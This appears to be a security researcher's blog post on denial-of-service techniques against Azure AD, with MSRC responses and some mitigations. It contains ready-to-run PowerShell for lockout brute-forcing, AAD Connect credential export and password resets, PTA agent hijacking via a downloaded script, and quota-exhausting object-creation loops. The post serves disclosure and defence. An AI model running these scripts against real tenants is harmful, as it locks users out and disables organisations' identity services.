DoSing Azure AD
My recent talk at the great T2 conference on DoSing Azure AD gained a lot of attention. Unfortunately, the talk was not recorded, so I decided to write a blog for those who couldn’t attend. So here we go!
Denial of Service (DoS) attack
Let’s start by defining what we mean by DoS attack by using OWASP’s definition:
The Denial of Service (DoS) attack is focused on making a resource (site, application, server) unavailable for the purpose it was designed.
Quite many of you would like to think that we are talking about network related attacks, where we’d send so much traffic to Azure AD that it couldn’t cope with the load. Well, in my experience, Azure AD is quite well prepared for those. Even though Azure was allegedly suffering of distributed DoS (DDoS) attack in June 9 2023, resulting to two hour service blackout. Performing DDoS attacks (successfully) would also require tremendous amount of resources.
So no, we’re not talking about that kind of attacks. Instead, I’m using multiple tricks I’ve learned during the years to make Azure AD unavailable for the purpose it was designed. The scope of the attacks are a single user, group of users, or the whole tenant.
DoSing Azure AD
I’m covering two categories of Azure AD DoS attacks: blocking authentication and exhausting Azure AD quota.
Blocking Authentication
The purpose of this DoS category is to prevent users from logging in to Azure AD, i.e., making it unvailable to be used for it’s primary purpose.
I’m introducing three diffent techniques: brute-forcing, abusing AAD Connect, and abusing PTA.
These techniques can be categorised as T1531 - Account Access Removal.
Brute-forcing
This attacks is perhaps the easiest to conduct, as it doesn’t require any access to the target tenant, access to the target user’s network is enough. Basically, I’m leveraging Azure AD smart lockout feature:
Smart lockout helps lock out bad actors that try to guess your users’ passwords or use brute-force methods to get in. Smart lockout can recognize sign-ins that come from valid users and treat them differently than ones of attackers and other unknown sources. Attackers get locked out, while your users continue to access their accounts and be productive.
Sounds good! But how smart lockout works then? According to the documentation:
By default, smart lockout locks the account from sign-in attempts for one minute after 10 failed attempts for Azure Public and Azure China 21Vianet tenants and 3 for Azure US Government tenants. The account locks again after each subsequent failed sign-in attempt, for one minute at first and longer in subsequent attempts. To minimize the ways an attacker could work around this behavior, we don’t disclose the rate at which the lockout period grows over additional unsuccessful sign-in attempts.
So, there’s a treshold (number of failed attempts) and the lockout time. If you are lucky enough to have Azure AD Premium P1 subscription, you can customise these settings. If not, you’re forced to use the defaults.
The last important information is the following:
Smart lockout tracks the last three bad password hashes to avoid incrementing the lockout counter for the same password. If someone enters the same bad password multiple times, this behavior won’t cause the account to lock out.
Based on my research, Smart Lockout used to block brute-force attacks originating from a specific IP-address per Azure AD instance. That is, each authentication request can end up to any local Azure AD instance, and each would be tracking the failed attempts. However, my latest observation was that all instances will be locked out at the same time.
Here’s an example script I built for performing DoS attack using brute-forcing (works in PS 5.1):
function Invoke-BruteForceDoS
{
Param(
[Parameter(Mandatory=$True)]
[string]$User
)
while($true)
{
$randomGuid = New-Guid
$body = @{
"resource" = $randomGuid
"client_id" = $randomGuid
"grant_type" ="password"
"username" = $User
"password" = $randomGuid
"scope" = "openid"
}
try
{
$response=Invoke-RestMethod -UseBasicParsing -Uri "https://login.microsoftonline.com/common/oauth2/token" -ContentType "application/x-www-form-urlencoded" -Method POST -Body $body
}
catch
{
$stream = $_.Exception.Response.GetResponseStream()
$responseBytes = New-Object byte[] $stream.Length
$stream.Position = 0
$stream.Read($responseBytes,0,$stream.Length) | Out-Null
$errorDetails = [text.encoding]::UTF8.GetString($responseBytes) | ConvertFrom-Json | Select -ExpandProperty error_description
$datacenter = "{0,-6}" -f ($_.Exception.Response.Headers["x-ms-ests-server"].Split(" ")[2])
}
# Parse the error code.
if(!$exists -and $errorDetails)
{
if($errorDetails.startsWith("AADSTS50053")) # The account is locked, you've tried to sign in too many times with an incorrect user ID or password.
{
Write-Host "$($datacenter): [ LOCKED ] $user" -ForegroundColor Red
}
elseif($errorDetails.StartsWith("AADSTS50126")) # Error validating credentials due to invalid username or password.
{
Write-Host "$($datacenter): [WRONGPWD] $user" -ForegroundColor Gray
}
elseif($errorDetails.StartsWith("AADSTS50034")) # The user account {identifier} does not exist in the {tenant} directory. To sign into this application, the account must be added to the directory.
{
Write-Host "$($datacenter): [NOTFOUND] $user"
}
}
}
}
After running the script, you can simply provide target user name as a parameter and the attack starts:
Now what is blocked then? Authentication requests originating from the attacker’s public IP-address.
In the example below, the attack was performed from the target user on-prem network with public IP-address 154.252.96.39. As that is blocked by Smart Lockout, the target user is unable to log in from that network. However, if the user moves to another network, like 170.136.102.77 below, the authentication will succeed.
So, brute-forcing is a simple way to prevent a target user from logging in. This attack requires that the public IP-address is same as the target user. Some organisations are sharing the public IP-address with their guest Wi-Fi network, what a nice way to block administrator, CEO, etc. as a visitor 😉
Finally, here are some important limitations regarding Smart Lockout:
Currently, an administrator can’t unlock the users’ cloud accounts if they have been locked out by the Smart Lockout capability. The administrator must wait for the lockout duration to expire. However, the user can unlock by using self-service password reset (SSPR) from a trusted device or location.
Abusing Azure AD Connect
One of my dearest hobbies has been abusing Azure AD Connect, AAD Connect for short.
Basically, AAD Connect synchronises objects (users, groups, devices) from on-prem AD to Azure AD. It can also be configured for Password Hash Synchronisation (PHS), which allows users to use same password in both on-prem and Azure AD.
All AAD Connect related attacks requires access to AAD Connect server. After compromising the server as a local administrator, one can export credentials used by AAD Connect:
Simplest way to do that is to run the following AADInternals command on a server running AAD Connect. It allows you to perform the attack from the AAD Connect server and avoid possible location based Conditional Access Policies.
$creds = (Get-AADIntSyncCredentials -AsCredentials)[0]
Second option is to export the credentials and use them on another attacker controlled computer. First, copy the credentials to the clipboard:
# Convert credentials to JSON and copy to clipboard
Get-AADIntSyncCredentials | ConvertTo-Json | Set-Clipboard
Then, on the other computer, do the opposite and create a PS Credential object:
# Paste credentials from clipboard and convert from JSON
$credentials = Get-Clipboard | ConvertFrom-Json
# Create the PSCredential object
$creds = [pscredential]::new($credentials.AADUser,($credentials.AADUserPassword | ConvertTo-SecureString -AsPlainText -Force))
Now that we have AAD Connect Azure AD credentials stored in the $creds variable, we can start the actual attacks. First, we need to get an access token:
# Get access token and save to cache
Get-AADIntAccessTokenForAADGraph -Credentials $creds -SaveToCache
Simplest DoS attack is to reset password of a user that is synchronised from on-prem to Azure AD:
# Reset the password of the user
Set-AADIntUserPassword -UserPrincipalName "user@company.com" -Password "Summer2023!"
The previous attack works only for synchronised users. However, if the user is not an admin user, it can be converted to syncronised user!
The following example will do that and then reset the password:
# Convert target user to synchronised user
Set-AADIntAzureADObject -userPrincipalName "user2@company.com" -SourceAnchor ([convert]::ToBase64String((New-Guid).ToByteArray()))
# Reset the password of the user
Set-AADIntUserPassword -UserPrincipalName "user2@company.com" -Password "Summer2023!"
Converting cloud-only users to syncronised users can be prevented by blocking soft and hard matching:
# Block synchronisation soft match
Set-MsolDirSyncFeature -Feature BlockSoftMatch -Enable $True
# Block synchronisation hard match
Set-MsolDirSyncFeature -Feature BlockCloudObjectTakeoverThroughHardMatch -Enable $True
The final AAD Connect technique is to exploit a neat trick I recently discovered. It allows adding any user or group as a member to any synchronised group.
So, how would this attack work? Well, it’s required that a group that is syncronised from on-prem AD is used to restrict access Azure AD. This means that a Conditional Access Policy (CAP) is targeted to the group, and that the access is blocked.
Below is an example of a CAP, that is targeted to a synchronised group and all cloud apps, and the access is blocked. In other words, any member of that group is unable to log in to Azure AD.
Now, let’s perform an attack where we add a cloud-only Global Administrator to the Operations group.
First, we need to get the ObjectIds of the target user and group. I’m using the soon-to-be-deprecated AzureAD module for this:
# Connect to Azure AD
Connect-AzureAD -Credential $creds
# Get ObjectId using target group DisplayName
$target_group = (Get-AzureADGroup -SearchString "Operations").ObjectId
# Get ObjectId using target user DisplayName
$target_user = (Get-AzureADUser -SearchString "Cloud Only Administrator").ObjectId
# Set target user as a member of the target group
Set-AADIntAzureADGroupMember -CloudAnchor "User_$target_user" -GroupCloudAnchor "Group_$target_group" -Operation Add
Now, when the target user tries to log in, the CAP will block the access:
What makes this attack specially interesting is that all on-prem objects added to the group will be removed after the next AAD Connect syncronisation run. However, any cloud-only users and groups will remain as the members. What is even more funny is that administrators can’t remove those users or groups using Azure AD portal or Graph API. Only way to remove those is to use AADInternals (or other tools supporting SyncAPI) 😂
I reported this behaviour to Microsoft Security Response Center (MSRC) and got the following response:
After review, our team has determined that there is no security issues here though they may consider some defense-in-depth options that are not going to be tracked by MSRC.
In this report, it is expected behavior that Global Admins can manipulate synced groups using the SyncAPI. The restrictions we impose on users to manipulate synced group members are not there for security reasons but for sync correctness enforcement. A Global Admin/highly-privileged role can bypass these restrictions if they choose to.
Thanks for working with us on this. We have closed this case as by-design.
So, even though in a worst case scenario an on-prem admin can block cloud-only Global Admins, this is regarded as feature 🤦♂️ Further, this means that this attack can’t be prevented. If an adversary (or rogue insider) gains local admin access to AAD Connect and exports credentials, there’s nothing that can be done.
Abusing Pass-through Authentication (PTA)
PTA can used to block authentication by exploiting flaws reported by Secureworks in Sep 2022.
This attack requires a local admin permissions on the computer running PTA agent. For more details, see my earlier blog post.
First step of the attack is to export the PTA agent’s certificate and bootstrap using AADInternals.
Lets start by exporting PTA certificate(s):
# Export the PTA certificate(s)
Export-AADIntProxyAgentCertificates
Next, export the bootstrap using the exported certificate. If there are multiple certificates, use the newest one.
# Export the bootstrap
Export-AADIntProxyAgentBootstraps -Certificates ".\[redacted].pfx"
Second step is to copy the certificate and bootstrap to an empty Windows server (tested on 2019 and 2022) and rename them to cert.pfx and bootstrap.xml.
Next, download Configure-PTASpy.ps1 and run it as local administrator:
# Download the configuration script
wget "https://raw.githubusercontent.com/Gerenios/public/master/PTASpy/Configure-PTASpy.ps1" -OutFile "Configure-PTASpy.ps1"
# Configure PTASpy to use provided certificate and boostrap
.\Configure-PTASpy -Certificate .\cert.pfx -Bootstrap .\bootstrap.xml -Verbose
After the installation is complete, restart the PTA agent to remove PTASpy (which accepts all passwords).
# Restart PTA agent to remove PTASpy
Restart-Service "AzureADConnectAuthenticationAgent" -ErrorAction SilentlyContinue
Now all authentication requests handled by the attacker’s server will be rejected with invalid password error (as the target users do not exist on that computer). Ongoing attacks can’t be detected, as we are using existing bootstrap and therefore the attacker’s IP-address is not shown anywhere. Moreover, the administrators are unable to block or delete compromised agents without contacting Microsoft support.
Adding extra servers will increase likelihood of getting more authentication requests blocked.
Exhausting Azure AD Quota
Before exhausting Azure AD quota, let’s see what the quota actually is. Per Microsoft documentation, the quota depends on the Azure AD subscription:
Subscription | Quota |
---|---|
Azure AD Free | 50 000 |
Azure AD Free + verified domain(s) | 300 000 |
Azure AD P1/P2 + justification | 500 000 |
The quota means all kinds of Azure AD objects, including users, groups, devices, applications, etc. When quota is exchausted, one can not add new objects to Azure AD.
There is also a limit how much non-admin users can add objects to Azure AD:
A non-admin user can create no more than 250 Azure AD resources. Both active resources and deleted resources that are available to restore count toward this quota.
Administrators can also limit the number of devices users can register or join to Azure AD.
Maximum number of devices: This setting enables you to select the maximum number of Azure AD joined or Azure AD registered devices that a user can have in Azure AD. If users reach this limit, they can’t add more devices until one or more of the existing devices are removed. The default value is 50. You can increase the value up to 100. If you enter a value above 100, Azure AD will set it to 100. You can also use Unlimited to enforce no limit other than existing quota limits.
The purpose of this DoS category is to prevent adding new objects to Azure AD, i.e., making it unvailable for it’s normal purpose. When the quota is full, no more objects can be added to Azure AD:
I’m introducing three diffent techniques: abusing AAD Connect, abusing bulk primary refresh token (BPRT), and cross-tenant synchronisation.
These techniques can be categorised as T1499 - Endpoint Denial of Service.
Abusing Azure AD Connect
This technique is leveraging SyncAPI that AAD Connect is using for synchronising objects from on-prem AD to Azure AD. Same way than previous AAD Connect exploits, this requires local admin access to AAD Connect to export the credentials.
Here is an example using AADInternals to add 10 000 users Azure AD.
for($n = 1 ; $n -lt 10000 ; $n++)
{
Set-AADIntAzureADObject -userPrincipalName "user$($n)@company.com" -SourceAnchor ([convert]::ToBase64String((New-Guid).ToByteArray())) -accountEnabled $true
}
Abusing Bulk Primary Refresh Token (BPRT)
I covered this attack in detail in an earlier blog post.
So what is a BPRT? For short, it is a Bulk Primary Refresh Token, sometimes also called “Bulk AAD Token”, which is used to enroll multiple devices to Azure AD and Microsoft Endpoint Manager (Intune).
According to the documentation, creating a BPRT requires admin rights:
To create a bulk enrollment token, you must have a supported Azure AD role assignment and must not be scoped to an administrative unit in Azure AD. The supported roles are:
- Global Administrator
- Cloud Device Administrator
- Intune Administrator
- Password Administrator
However, as I pointed out in the earlier blog, this attack does not require any admin rights!
Here is an example script that adds 10 000 BPRTs (which are technically user objects) to Azure AD:
# Get Access Token for BPRT
Get-AADIntAccessTokenForAADGraph -Resource "urn:ms-drs:enterpriseregistration.windows.net" -SaveToCache
# Add BPRTs
for($a = 0 ; $a -lt 10000 ; $a++)
{
New-AADIntBulkPRTToken -Name "BPRT_$a" | Out-Null
}
You can also use a BPRT to register multiple devices to Azure AD. The following example script will add 10 000 devices to Azure AD:
# Get BPRT
$BPRT = Get-Content -Path "BPRT.json" | ConvertFrom-Json | Select -ExpandProperty refresh_token
# Get access token using BPRT
Get-AADIntAccessTokenForAADJoin -BPRT $BPRT -SaveToCache | Out-Null
# Join devices
for($a = 0 ; $a -lt 10000 ; $a++)
{
Join-AADIntDeviceToAzureAD -DeviceName "Device_$a" | Out-Null
}
To prevent users adding devices using BPRT, you need to allow only admins to join devices:
Although this attack allows a regular user without any admin permissions to bypass hard-coded 250 object limit and admin defined device registration limit to exchaust Azure AD quota, it is not seen as an vulnerability by Microsoft:
Upon investigation, we have determined that this submission is by design and does not meet the definition of a security vulnerability for servicing. This report does not appear to identify a weakness in a Microsoft product or service that would enable an attacker to compromise the integrity, availability, or confidentiality of a Microsoft offering.
I guess bricking Azure AD doesn’t affect its availability 🤷♂️
Cross-tenant synchronisation
First, lets quickly see what cross-tenant synchronisation is according to Microsoft documentation:
Cross-tenant synchronization automates creating, updating, and deleting Azure AD B2B collaboration users across tenants in an organization. It enables users to access applications and collaborate across tenants, while still allowing the organization to evolve.
In other words, it syncronises user objects from the home tenant to the resource tenant. The synchronised users will come guest users in the resource tenant.
This attack requires atleast Azure AD Premium P1 subscription in both tenants. To configure cross-tenant synchronisation, Security Administrator permissions is required.
This attack is similar to the BPRT attack, the purpose is to synchronise more objects to the resource tenant than there is existing quota:
After the cross-tenant synchronisation is configured, one can just add objects to Azure AD until the resource tenant Azure AD quota is exchausted. This can be done by rogue admin or adversaries using any technique allowing adding users. And yes, you can use the BPRT method for this, so a regular user can brick two Azure AD tenants with a single attack 😁
After reporting this to Microsoft, I got the following response:
We have mentioned that What is a cross-tenant synchronization in Azure Active Directory? (preview) - Microsoft Entra | Microsoft Learn, The feature should be used within tenants in an organization. Given the two tenants (and hence their respect Admins) are part of same organization, one should not act as adversaries to another tenant. It is assumed that there is certain level of trust between tenants.
Target Tenant admins have given explicit permission using Cross-tenant sync policy and retain ability remove cross-tenant sync policy at any point of time in future. If tenant admin removes cross-tenant sync policy, then cross-tenant sync from source to target tenant would stop.
We have closed this case.
So, as long as we trust to admins and users, there’s no issue 😉
Summary
In this blog, I introduced multiple techniques to perform DoS attacks against Azure AD users and organisations.
Blocking authentication
Technique | Requirements |
---|---|
Brute-forcing | Access to target user network |
Abusing AAD Connect | Local admin permissions |
Abusing PTA | Local admin permissions |
Exhausting Azure AD Quota
Technique | Requirements |
---|---|
Abusing AAD Connect | Local admin permissions |
Abusing BPRT | User permissions |
Cross-tenant synchronisation | Security Administrator permissions |
References
- OWASP: Denial of Service
- MITRE: Account Access Removal
- Microsoft: Protect user accounts from attacks with Azure Active Directory smart lockout
- Microsoft: What is Azure AD Connect?
- Secureworks: Azure Active Directory Pass-Through Authentication Flaws
- Microsoft: Azure AD service limits and restrictions
- Microsoft: Manage device identities by using the Azure portal
- Microsoft: What is cross-tenant synchronization?
- MITRE: Endpoint Denial of Service
- Microsoft: Bulk enrollment for Windows devices